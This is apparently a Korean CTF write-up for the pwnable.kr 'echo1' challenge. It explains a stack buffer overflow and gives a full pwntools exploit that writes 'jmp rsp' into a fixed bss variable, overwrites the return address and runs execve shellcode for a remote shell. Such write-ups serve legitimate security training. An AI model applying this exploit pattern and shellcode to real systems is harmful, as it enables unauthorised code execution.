[pwnable.kr] Rookiss – echo1
64bit 바이너리이고, 보호기법들이 모두 꺼져있는 걸 볼 수 있습니다.
실행을 하면 이름을 입력 받고, 메뉴를 출력합니다.
1번 BOF echo만 사용할 수 있습니다.
1번 menu인 echo1 함수입니다.
s가 bp-0x20인데, 128byte나 입력 받기 때문에 BOF 취약점이 발생합니다.
canary가 없어서 바로 return address를 덮을 수 있습니다.
NX가 안 걸려있어서 shell code를 이용할 수 있습니다.
ASLR 때문에 고정된 주소가 필요합니다.
main의 일부분입니다.
이름을 입력 받고 4byte가 id라는 변수에 들어갑니다.
그리고 id는 bss 영역에 있죠.
id에 jmp rsp를 넣고 return address를 id로 하면 return address 뒤로 rip가 이동하게 됩니다.
ret 명령을 수행하고 난 후의 모습이고 jmp rsp를 실행하게 되면 RIP가 shell code를 타고 쉘을 실행하게 됩니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
from pwn import *
#s = process('./echo1') s = remote('pwnable.kr', 9010)
jmp_rsp = "\xff\xe4" bss_id = 0x6020a0 shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
payload = "A"*0x20 payload += "A"*8 #64bit SFP payload += p64(bss_id) payload += shellcode
s.sendline(jmp_rsp) #write jmp_rsp on bss_id s.sendline('1') #bof echo
s.sendline(payload)
s.interactive() |
flag가 출력됩니다.
'System&Write up > Pwnable.kr' 카테고리의 다른 글
[pwnable.kr] Rookiss - fsb (0) | 2018.05.25 |
---|---|
[pwnable.kr] Toddler's Bottle - unlink (0) | 2018.03.31 |
[pwnable.kr] Toddler's Bottle - memcpy (0) | 2018.02.27 |
[pwnable.kr] Toddler's Bottle - asm (0) | 2018.01.31 |
[pwnable.kr] Toddler's Bottle - uaf (0) | 2018.01.31 |